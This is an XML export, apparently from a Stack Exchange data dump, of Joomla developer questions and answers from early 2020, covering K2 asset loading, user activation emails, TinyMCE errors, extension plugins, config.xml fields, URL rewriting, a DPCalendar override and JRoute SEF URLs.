  <row Id="26709" PostTypeId="1" CreationDate="2020-02-05T00:08:10.200" Score="0" ViewCount="123" Body="&lt;p&gt;I'm creating a modification of K2 module and I want to remove some unnecesary K2 css and script load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;_scripts['']);&#xA;unset($this-&amp;gt;_styleSheets['']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but return an error message :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Indirect modification of overloaded property JFormFieldK2Mods::$_scripts has no effect in /Applications/Ampps/www/j39/modules/mod_k2mods/admin/elements/k2mods.php on line 18&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I unset unnecesary css and script load properly?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="12352" LastEditDate="2020-02-20T08:28:14.277" LastActivityDate="2020-08-01T16:06:35.727" Title="Unset Unwanted Backend CSS and Javascripts" Tags="|joomla-3.x|administrator|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26711" PostTypeId="2" ParentId="24870" CreationDate="2020-02-07T11:21:46.813" Score="1" Body="&lt;p&gt;I have not enough reputation to add a comment, so I need to post a new answer.&lt;/p&gt;&#xA;&lt;p&gt;The solution of &amp;quot;John Rix&amp;quot; works perfect but I like add one thing: You have to make sure you sort the data from the xml file by version number. It is not sufficient to use the last occurrence of downloadurl because the list seams to be unsorted.&lt;/p&gt;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://update.joomla.org/language/details3/de-DE_details.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://update.joomla.org/language/details3/de-DE_details.xml&lt;/a&gt;&#xA;3.9.15.1 is positioned prior to 3.9.9.1 which is currently the last entry in the xml.&lt;/p&gt;&#xA;" OwnerUserId="14086" LastEditorUserId="14086" LastEditDate="2020-11-27T10:35:30.587" LastActivityDate="2020-11-27T10:35:30.587" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26712" PostTypeId="1" AcceptedAnswerId="26724" CreationDate="2020-02-07T13:00:23.160" Score="0" ViewCount="179" Body="&lt;p&gt;I refer to this ticket:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/629/can-joomla-send-the-user-an-email-when-admin-approves-them?newreg=bd222e22f6094cfbbe7d43c4495d1299&quot;&gt;Can Joomla send the user an email when admin approves them?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hence I can not reply or comment as a new user does anyone know a solution to this issue of mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;user registers at the side and gets registration email with a confirmation link&lt;/li&gt;&#xA;&lt;li&gt;admin gets an email with notification&lt;/li&gt;&#xA;&lt;li&gt;admin activates &amp;amp; enables the user&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;no notification email to the user was send about his accounts activation&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for your time&lt;/p&gt;&#xA;" OwnerUserId="14088" LastEditorUserId="14088" LastEditDate="2020-02-07T14:02:24.477" LastActivityDate="2020-02-12T12:39:41.270" Title="Can Joomla send the user an email after admin approves them?" Tags="|joomla-3.x|administrator|user|emails|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26713" PostTypeId="1" CreationDate="2020-02-07T16:52:52.483" Score="0" ViewCount="443" Body="&lt;p&gt;After updating Joomla from 3.6.0 to 3.9.15, TinyMCE doesn't work. I just don't see any content in article edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Oou5t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oou5t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;In console I have errors in tinymce.min.js:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Uncaught TypeError: Cannot read property 'settings' of undefined&lt;/li&gt;&#xA;  &lt;li&gt;Uncaught TypeError: Cannot read property 'parents' of undefined&lt;/li&gt;&#xA;  &lt;li&gt;Uncaught TypeError: Cannot read property 'getRng' of undefined&lt;/li&gt;&#xA;  &lt;li&gt;Uncaught TypeError: Cannot read property 'nodeChanged' of undefined&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="14089" LastEditorUserId="12352" LastEditDate="2020-02-08T02:41:51.333" LastActivityDate="2020-02-08T02:41:51.333" Title="TinyMCE doesn't show content" Tags="|editor|tinymce|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26716" PostTypeId="1" AcceptedAnswerId="26717" CreationDate="2020-02-10T02:57:47.243" Score="1" ViewCount="191" Body="&lt;p&gt;I am working on a custom component. The component has some component options, using the standard config.xml file and saving it to the extensions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I need to execute a custom script when saving the component configs?&#xA;Depending on the settings of the component, I want to make some changes in the components db tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way provided by Joomla to add a script to the save event for component configs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still very new to Joomla component building. &#xA;Any advice is most welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-02-10T03:06:21.760" LastActivityDate="2020-02-10T07:14:01.413" Title="Execute custom script on save component config.xml" Tags="|custom-component|custom-action|component-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26717" PostTypeId="2" ParentId="26716" CreationDate="2020-02-10T07:08:52.390" Score="1" Body="&lt;p&gt;Create an extension plugin with &lt;code&gt;onExtensionAfterSave&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Registry\Registry&#xA;&#xA;class PlgExtensionExample extends CMSPlugin&#xA;{&#xA;    public function onExtensionAfterSave($context, $table, $isNew)&#xA;    {&#xA;        // Check that we're modifying the correct component.&#xA;        if ($context !== 'com_config.component' || $table-&amp;gt;element !== 'com_content')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // New component params.&#xA;        $params = new Registry($table-&amp;gt;params);&#xA;&#xA;        // Your code here.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-02-10T07:14:01.413" LastActivityDate="2020-02-10T07:14:01.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26718" PostTypeId="1" AcceptedAnswerId="26719" CreationDate="2020-02-10T20:39:25.057" Score="0" ViewCount="204" Body="&lt;p&gt;In my custom component, I have some component configs in the standard config.xml file. There are multiple fieldsets (tabs), each one has its own description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a line of text below a field, including a link to a documentation site. Something like: &quot;Documentation: link&quot;. See image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KAQcN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KAQcN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some googling before coming here. As I understand it, you can not add text to xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? How to do it?&#xA;If not, is it possible to enter a link in the field description (hint on hover)?&#xA;Or any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-02-10T22:52:51.487" Title="Add text and link to fieldset in config.xml" Tags="|component|custom-component|xml|component-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26719" PostTypeId="2" ParentId="26718" CreationDate="2020-02-10T22:52:51.487" Score="2" Body="&lt;p&gt;You could try the &quot;spacer&quot; field type and see if that's good enough for your purposes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;example_spacer&quot; type=&quot;spacer&quot; label=&quot;Text you want here&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then put it in your XML file following the field you're wanting the extra text for. Add CSS to taste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That might work out for you.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-10T22:52:51.487" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26720" PostTypeId="1" CreationDate="2020-02-11T01:32:54.500" Score="0" ViewCount="85" Body="&lt;p&gt;I have an issue here where I have already added line below into .htaccess file, AllowOverride all in httpd.conf file, enabled Use URL Rewriting from Joomla, but none of those work. Did I miss out anything or are there anything wrong with below line? I'm kind of out of idea now :((&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^abc.com [NC] &#xA;RewriteRule ^(.*)$ https://www.abc.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14095" LastEditorUserId="14095" LastEditDate="2020-02-14T01:36:12.047" LastActivityDate="2020-02-14T01:36:12.047" Title="How to redirect website from non www to www ( Windows +Wamp+Joomla)" Tags="|joomla-2.5|.htaccess-configuration|seo|ssl|https|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="26723" PostTypeId="2" ParentId="19163" CreationDate="2020-02-12T10:12:04.927" Score="2" Body="&lt;p&gt;I know this is an old issue, but since a came across this post on my own research I would like to share my solution. Unfortunately I cannot trace back at which Joomla version this possibility was implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add the following line to the beginning of your corresponding table class. With this information the bind method of the Joomla core table class will convert the specified fields by itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $_jsonEncode = array('fieldname');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the end its the same as in Stuart Steedman post, but you don't have to override the core bind method.&lt;/p&gt;&#xA;" OwnerUserId="14097" LastActivityDate="2020-02-12T10:12:04.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26724" PostTypeId="2" ParentId="26712" CreationDate="2020-02-12T12:39:41.270" Score="1" Body="&lt;p&gt;Joomla distinguishes between user activation by link through email or via administration backend. &#xA;In order to send an email to the user after the activation of the user account one needs to use the link from the email. Activation from the administration backend will not send an email to the user who's account was activated.&lt;/p&gt;&#xA;" OwnerUserId="14088" LastActivityDate="2020-02-12T12:39:41.270" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26725" PostTypeId="1" AcceptedAnswerId="26748" CreationDate="2020-02-13T13:49:36.170" Score="2" ViewCount="616" Body="&lt;p&gt;I am creating an override in DP calendar and would like to display a custom field created in DP Calendar inside the module. The field type is 'URL' thus I would like it to be a clickable link. I have been unable to find any documentation as to how I can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below code is the module override. The link I would like to replace with the custom field is the Register link. The name of the custom field is 'reglink':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    DPCalendar&#xA; * @author     Digital Peak http://www.digital-peak.com&#xA; * @copyright  Copyright (C) 2007 - 2019 Digital Peak. All rights reserved.&#xA; * @license    http://www.gnu.org/licenses/gpl.html GNU/GPL&#xA; */&#xA;defined('_JEXEC') or die();&#xA;&#xA;if (!$events) {&#xA;    echo JText::_('MOD_DPCALENDAR_UPCOMING_NO_EVENT_TEXT');&#xA;&#xA;    return;&#xA;}&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_dpcalendar_upcoming', '_scripts');&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;mod-dpcalendar-upcoming mod-dpcalendar-upcoming-simple mod-dpcalendar-upcoming-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($groupedEvents as $groupHeading =&amp;gt; $events) { ?&amp;gt;&#xA;        &amp;lt;?php if ($groupHeading) { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__group&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;mod-dpcalendar-upcoming-simple__heading dp-group-heading&quot;&amp;gt;&amp;lt;?php echo $groupHeading; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;?php foreach ($events as $index =&amp;gt; $event) { ?&amp;gt;&#xA;            &amp;lt;?php $startDate = $dateHelper-&amp;gt;getDate($event-&amp;gt;start_date, $event-&amp;gt;all_day); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__event&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__date col-md-4 event-num&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $dateHelper-&amp;gt;getDateStringFromEvent($event, $params-&amp;gt;get('date_format'), $params-&amp;gt;get('time_format')); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;              &#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__information col-md-8&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $event-&amp;gt;realUrl; ?&amp;gt;&quot; class=&quot;dp-event-url dp-link&quot;&amp;gt;&amp;lt;?php echo $event-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $event-&amp;gt;realUrl; ?&amp;gt;&quot; class=&quot;dp-event-url dp-link more&quot;&amp;gt;More Info &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $event-&amp;gt;realUrl; ?&amp;gt;&quot; class=&quot;dp-event-url dp-link register-dp&quot;&amp;gt;Register &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php if ($params-&amp;gt;get('show_location') &amp;amp;&amp;amp; isset($event-&amp;gt;locations) &amp;amp;&amp;amp; $event-&amp;gt;locations) { ?&amp;gt;&#xA;                        &amp;lt;?php foreach ($event-&amp;gt;locations as $location) { ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;mod-dpcalendar-upcoming-simple__location&quot;&#xA;                                  data-latitude=&quot;&amp;lt;?php echo $location-&amp;gt;latitude; ?&amp;gt;&quot;&#xA;                                  data-longitude=&quot;&amp;lt;?php echo $location-&amp;gt;longitude; ?&amp;gt;&quot;&#xA;                                  data-title=&quot;&amp;lt;?php echo $location-&amp;gt;title; ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php echo $router-&amp;gt;getLocationRoute($location); ?&amp;gt;&quot; class=&quot;dp-link&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $location-&amp;gt;title; ?&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- End of event row --&amp;gt;&#xA;                &amp;lt;?php if ($event-&amp;gt;images-&amp;gt;image_intro) { ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__image&quot;&amp;gt;test&#xA;                        &amp;lt;figure class=&quot;dp-figure&quot;&amp;gt;&#xA;                            &amp;lt;img class=&quot;dp-image&quot; src=&quot;&amp;lt;?php echo $event-&amp;gt;images-&amp;gt;image_intro; ?&amp;gt;&quot;&#xA;                                 alt=&quot;&amp;lt;?php echo $event-&amp;gt;images-&amp;gt;image_intro_alt; ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;?php if ($event-&amp;gt;images-&amp;gt;image_intro_caption) { ?&amp;gt;&#xA;                                &amp;lt;figcaption class=&quot;dp-figure__caption&quot;&amp;gt;&amp;lt;?php echo $event-&amp;gt;images-&amp;gt;image_intro_caption; ?&amp;gt;&amp;lt;/figcaption&amp;gt;&#xA;                            &amp;lt;?php } ?&amp;gt;&#xA;                        &amp;lt;/figure&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_booking', 1) &amp;amp;&amp;amp; \DPCalendar\Helper\Booking::openForBooking($event)) { ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $router-&amp;gt;getBookingFormRouteFromEvent($event, $return); ?&amp;gt;&quot; class=&quot;dp-link dp-link_cta dp-button&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $layoutHelper-&amp;gt;renderLayout('block.icon', ['icon' =&amp;gt; \DPCalendar\HTML\Block\Icon::PLUS]); ?&amp;gt;&#xA;                        &amp;lt;?php echo $translator-&amp;gt;translate('MOD_DPCALENDAR_UPCOMING_BOOK'); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__description&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $event-&amp;gt;truncatedDescription; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php $displayData['event'] = $event; ?&amp;gt;&#xA;                &amp;lt;?php echo $layoutHelper-&amp;gt;renderLayout('schema.event', $displayData); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;?php if ($groupHeading) { ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've had a look at the render.php file for the custom fields but am struggling to understand which code I need to copy into the override file. The render.php is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    DPCalendar&#xA; * @author     Digital Peak http://www.digital-peak.com&#xA; * @copyright  Copyright (C) 2007 - 2019 Digital Peak. All rights reserved.&#xA; * @license    http://www.gnu.org/licenses/gpl.html GNU/GPL&#xA; */&#xA;defined('_JEXEC') or die();&#xA;&#xA;if (!key_exists('item', $displayData) || !key_exists('context', $displayData)) {&#xA;    return;&#xA;}&#xA;&#xA;$item = $displayData['item'];&#xA;&#xA;if (!$item) {&#xA;    return;&#xA;}&#xA;&#xA;$context = $displayData['context'];&#xA;&#xA;if (!$context) {&#xA;    return;&#xA;}&#xA;&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;&#xA;$parts     = explode('.', $context);&#xA;$component = $parts[0];&#xA;$fields    = array();&#xA;&#xA;if (key_exists('fields', $displayData)) {&#xA;    $fields = $displayData['fields'];&#xA;} else {&#xA;    if (!empty($item-&amp;gt;jcfields)) {&#xA;        $fields = $item-&amp;gt;jcfields;&#xA;    }&#xA;&#xA;    if (!$fields) {&#xA;        $fields = FieldsHelper::getFields($context, $item, true);&#xA;    }&#xA;}&#xA;if (!$fields) {&#xA;    return;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;dp-fields&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($fields as $field) { ?&amp;gt;&#xA;        &amp;lt;?php if (!isset($field-&amp;gt;value) || $field-&amp;gt;value == '') { ?&amp;gt;&#xA;            &amp;lt;?php continue; ?&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;dl class=&quot;dp-description dp-field-&amp;lt;?php echo $field-&amp;gt;name; ?&amp;gt; &amp;lt;?php echo $field-&amp;gt;params-&amp;gt;get('render_class'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;dt class=&quot;dp-description__label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;params-&amp;gt;get('showlabel', 1) ? JText::_($field-&amp;gt;label) : ''; ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd class=&quot;dp-description__description&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;        &amp;lt;/dl&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody maybe point me in the right direction with this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2020-02-20T23:12:41.513" Title="DPCalendar custom field inside module" Tags="|joomla-3.x|overrides|module-display|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26729" PostTypeId="2" ParentId="26681" CreationDate="2020-02-14T15:52:05.297" Score="0" Body="&lt;p&gt;That particular script snippet comes from /libraries/cms/html/behavior.php and it's triggered by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::('behavior.modal')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's actually a deprecated call, 'bootstrap.modal' is the preferred method these days. The SqueezeBox plugin was a lightbox for MooTools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look around in the code for the template you're using, and comment it out to see if you can end up removing it safely. In most cases you probably can; depends on how dependent your site is on modal dialog boxes.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-14T15:52:05.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26730" PostTypeId="2" ParentId="22410" CreationDate="2020-02-14T22:43:42.917" Score="0" Body="&lt;p&gt;Joomla should be able to understand this... You must let Joomla's query building functions render the &quot;child query&quot;/subquery before placing it inside of the &quot;parent query&quot;/main query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some other answers of mine that may prove helpful while writing/testing your own query:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/24201/12352&quot;&gt;Method for creating a subquery using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/22985/12352&quot;&gt;Correct ways to verify update query is successful under conditions&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code: (untested)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;cg.name&quot;)&#xA;    -&amp;gt;from(&quot;#__community_groups AS cg&quot;)&#xA;    -&amp;gt;where(&quot;cg.ownerid = gl.id&quot;);&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;update(&quot;#__gruposlocales AS gl&quot;)&#xA;    -&amp;gt;set(&quot;gl.name = ({$subquery})&quot;);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am deliberately omitting all quoting techniques in my answer because they are unnecessary fir stability/security in this snippet and would only serve to make the snippet more difficult to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for discussions on how/when/why to quote query entities, how to view the rendered query with &lt;code&gt;dump()&lt;/code&gt;, how to write a &lt;code&gt;try{}catch{}&lt;/code&gt; block to aid in debugging, and how to check for affected rows -- please see my other &lt;a href=&quot;https://joomla.stackexchange.com/search?q=user%3A12352%20%5Bmysql%5D%20is%3Aanswer&quot;&gt;mysql-tagged answers&lt;/a&gt; in this community.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-02-14T22:43:42.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26731" PostTypeId="1" AcceptedAnswerId="26734" CreationDate="2020-02-14T23:33:11.310" Score="2" ViewCount="686" Body="&lt;p&gt;Currently JRoute generates URLs for my component which look like this &lt;code&gt;https://mysite.com/component/mycomponent/xxx&lt;/code&gt;, where I'm handling xxx in my component's router. Instead I'd like JRoute to generate a URL for the same location with &lt;code&gt;https://mysite.com/myseflocation/xxx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found four ways of achieving what I want, but I don't find any of them particularly satisfactory. All of my ideas require a menu item with alias &lt;code&gt;myseflocation&lt;/code&gt; to which a view from my component is assigned. Its the creation and assignment of this menu item which is fundamentally where my problem lies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea was to include the &lt;code&gt;Itemid=xx&lt;/code&gt; query string parameter in URLs passed into JRoute. The problem with this approach is that I'd be hard coding the menu Itemids all over the place which is a terrible idea as its tightly coupling the fixed code to the dynamic database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next idea I had, was to give my component a &lt;code&gt;menuitem&lt;/code&gt; parameter, then the admin could create a menu item, assign one of the component's views to it, then assign that new menu item back to the component parameter. Whenever using JRoute, you could just get the menu item id from the component parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that it requires the site admin to have knowledge of how my component works; they have to create a menu item and then assign that item back within the component. The problem with this is that if the menu item is ever removed, then the component parameter becomes broken unless the admin reassigns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two ideas are just really extensions on the last one, but requiring a little less intervention on behalf of the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to generate a hidden menu item on installation of the component, then use &lt;code&gt;JFactory::getApplication()-&amp;gt;getMenu()&lt;/code&gt; to fetch the menu's item id when needed, using the name of the menu. However, this would also suffer from the problem of an admin deleting the menu item and would also require quite a bit of additional code to save the menu item correctly and check for duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final idea it to add code to my component router's &lt;code&gt;build&lt;/code&gt; method, to get all menu items to which my component is assigned, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu()&#xA;    -&amp;gt;getItems('component','com_sorn')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just get the first menu item from the resulting array and set it as the &lt;code&gt;Itemid&lt;/code&gt; within the $query array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upside of this last method is that it can fall back to the &lt;code&gt;/component/mycomponent/&lt;/code&gt; path if no menu item is set. However, if the admin wanted two menu items to work with my component, only the first would generate correct URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the fundamental problem here is that I don't think Joomla allows components to claim first-level routes (first slug in URL), only menu items can do this. This means you're left with an item id you cannot know at component installation time and which could change in the future.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2020-02-16T14:43:04.697" Title="Using JRoute to generate component SEF URL without a menu item id" Tags="|menu-item|router|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26732" PostTypeId="2" ParentId="7030" CreationDate="2020-02-15T07:16:58.313" Score="0" Body="&lt;p&gt;Step 1: Log into your Joomla administrative dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: In the top menu, click Extensions and then click Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: You will see two types of Joomla templates, Site and Administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the list of templates, click the hollow star next to the Site Template that you would like to activate your new uploaded template. You will then receive the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get successful message! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message&#xA;Default style successfully set&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14110" LastActivityDate="2020-02-15T07:16:58.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
